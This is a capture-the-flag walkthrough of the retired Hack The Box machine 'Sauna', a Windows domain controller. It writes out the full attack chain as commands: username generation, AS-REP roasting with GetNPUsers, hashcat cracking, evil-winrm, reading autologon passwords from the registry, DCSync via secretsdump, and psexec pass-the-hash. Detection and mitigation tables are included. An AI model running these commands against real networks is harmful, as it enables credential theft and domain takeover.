Sauna
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Windows — DC egotistical-bank.local |
| Difficulty | Easy |
| Approx. time | ~30 min |
| Chain | Names on the website → username-anarchy → AS-REP roasting (fsmith) → WinRM → svc_loanmgr autologon (WinPEAS) → DCSync → Administrator |
flowchart TD A["Bank website: about.html"] -->|employee names| B["username-anarchy<br/>user list"] B -->|GetNPUsers over the list| C["fsmith AS-REP<br/>(no pre-auth)"] C -->|hashcat -m 18200| D["fsmith : Thestrokes23"] D -->|evil-winrm| E["fsmith (user.txt)"] E -->|WinPEAS: autologon| F["svc_loanmgr<br/>Moneymakestheworldgoround!"] F -->|BloodHound: GetChangesAll| G["DCSync"] G -->|secretsdump| H["Administrator NT hash"] H -->|psexec pass-the-hash| I["NT AUTHORITY\SYSTEM"]
- The bank’s website lists employee names on
about.html. Withusername-anarchywe generate username permutations and, via AS-REP roasting, find thatfsmithdoesn’t require pre-authentication. We crack its hash → WinRM. - WinPEAS reveals that
svc_loanmgris configured with autologon and its password is stored in the registry in clear. That user also logs in over WinRM. - BloodHound shows
svc_loanmgrholds the DS-Replication-Get-Changes-All right → DCSync. We dumpAdministrator’s hash and pass-the-hash.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see: a DC for
egotistical-bank.local, with IIS (80) and LDAP. Anonymous SMB and LDAP return no objects.What I think: with no useful anonymous AD enumeration, the website is the information source. → Network service enumeration
Ventana de terminal echo "$IP egotistical-bank.local" | sudo tee -a /etc/hosts
2. Initial access: from names to AS-REP
Section titled “2. Initial access: from names to AS-REP”-
Pull names from the website
What I do: I review the site and
about.html.What I see: a “Meet the team” section with employee full names.
What I think: full names are the seed for building possible domain users.
-
Generate candidate usernames
What I do:
Ventana de terminal username-anarchy --input-file fullnames.txt \--select-format first,flast,first.last,firstl > unames.txtWhat I think: I don’t know the domain’s account format, so I generate the common ones (
fsmith,fergus.smith…). → AD enumeration -
AS-REP roasting over the list
What I do:
Ventana de terminal impacket-GetNPUsers egotistical-bank.local/ -dc-ip $IP -no-pass -usersfile unames.txtWhat I see: an AS-REP hash for
fsmith.Why it works:
fsmithhas Kerberos pre-authentication disabled, so the KDC hands the AS-REP (encrypted with its hash) to anyone who asks. → AS-REP roasting -
Crack and get in
What I do:
Ventana de terminal hashcat -m 18200 fsmith.hash /usr/share/wordlists/rockyou.txt# fsmith:Thestrokes23evil-winrm -i $IP -u fsmith -p 'Thestrokes23'What I see: a shell as
fsmith.user.txt→abcd…wxyz(redacted).
3. Lateral movement: autologon credentials
Section titled “3. Lateral movement: autologon credentials”-
Enumerate with WinPEAS
What I do: upload WinPEAS and run it (or check the registry by hand).
Ventana de terminal upload winPEASx64.exe.\winPEASx64.exe# or directly:reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"What I see: autologon configured for
svc_loanmgrwithDefaultPassword = Moneymakestheworldgoround!.What I think: autologon credentials are stored in the registry in clear (
Winlogon). It’s one of the first things WinPEAS checks. → Windows enumeration -
WinRM as svc_loanmgr
What I do:
Ventana de terminal evil-winrm -i $IP -u svc_loanmgr -p 'Moneymakestheworldgoround!'What I see: a shell as
svc_loanmgr(also in Remote Management Users).
4. Escalation to Domain Admin: DCSync
Section titled “4. Escalation to Domain Admin: DCSync”-
BloodHound: DCSync
What I do:
Ventana de terminal bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d egotistical-bank.local -ns $IP -c AllWhat I see: the Find Principals with DCSync Rights query connects
SVC_LOANMGRto the domain via the GetChangesAll edge.What I think:
svc_loanmgrhasDS-Replication-Get-Changes-All, one of the rights that make up DCSync. → ACL abuse -
Dump Administrator’s hash
What I do:
Ventana de terminal impacket-secretsdump egotistical-bank.local/svc_loanmgr:'Moneymakestheworldgoround!'@$IP -just-dc-user AdministratorWhat I see:
Administrator’s NT hash.Why it works: with the replication right,
secretsdumpuses DRSUAPI to request the NTDS secrets like another DC would. → DCSync -
Pass-the-hash to SYSTEM
What I do:
Ventana de terminal impacket-psexec egotistical-bank.local/administrator@$IP -hashes aad3b435b51404eeaad3b435b51404ee:<admin_hash>cat C:\Users\Administrator\Desktop\root.txtWhat I see:
nt authority\system.root.txt→abcd…wxyz(redacted). → Lateral movement
Progressive hints
Section titled “Progressive hints”Anonymous LDAP and SMB give no users. Where else are there people’s names?
Turn the names into possible users and try AS-REP roasting against all of them.
You’re fsmith. What does Windows store in the registry when an account has automatic logon?
Look at svc_loanmgr’s replication rights in BloodHound.
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
| Anonymous AD enumeration (LDAP/SMB) | No objects | The names had to come from the website |
| Kerberoasting | No useful user SPN | The route was AS-REP, not Kerberoasting |
Classic local privesc after fsmith |
Unnecessary | The autologon credential made the jump directly |
Methodology takeaways
Section titled “Methodology takeaways”- No anonymous AD enumeration → the website gives the names. “About/Team” is a username goldmine.
- Names →
username-anarchy→ mass AS-REP roasting. Try every account format. - First shell on Windows → WinPEAS / the
Winlogonregistry key. Autologon credentials are in clear. - Every new credential → check DCSync in BloodHound (
Find Principals with DCSync Rights).GetChangesAllis game over.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| AS-REP roasting | 4768 with Ticket Encryption Type 0x17 (RC4) and pre-auth not required |
Remove DONT_REQ_PREAUTH; long passwords; enforce AES |
| Autologon in the registry | Audit reads of Winlogon; detect DefaultPassword |
Don’t use autologon; if unavoidable, LAPS/gMSA and encrypt |
| DCSync | 4662 with the DS-Replication-Get-Changes* GUIDs from a non-DC |
Review who holds replication rights; restrict to DCs |
| Pass-the-hash | 4624 type 3 from admin on an odd host; 7045 (psexec) | Admin tiering; restrict ADMIN$ |
References
Section titled “References”- The Hacker Recipes — AS-REP roasting: https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- The Hacker Recipes — DCSync: https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
- Microsoft — Winlogon autologon: https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/turn-on-automatic-logon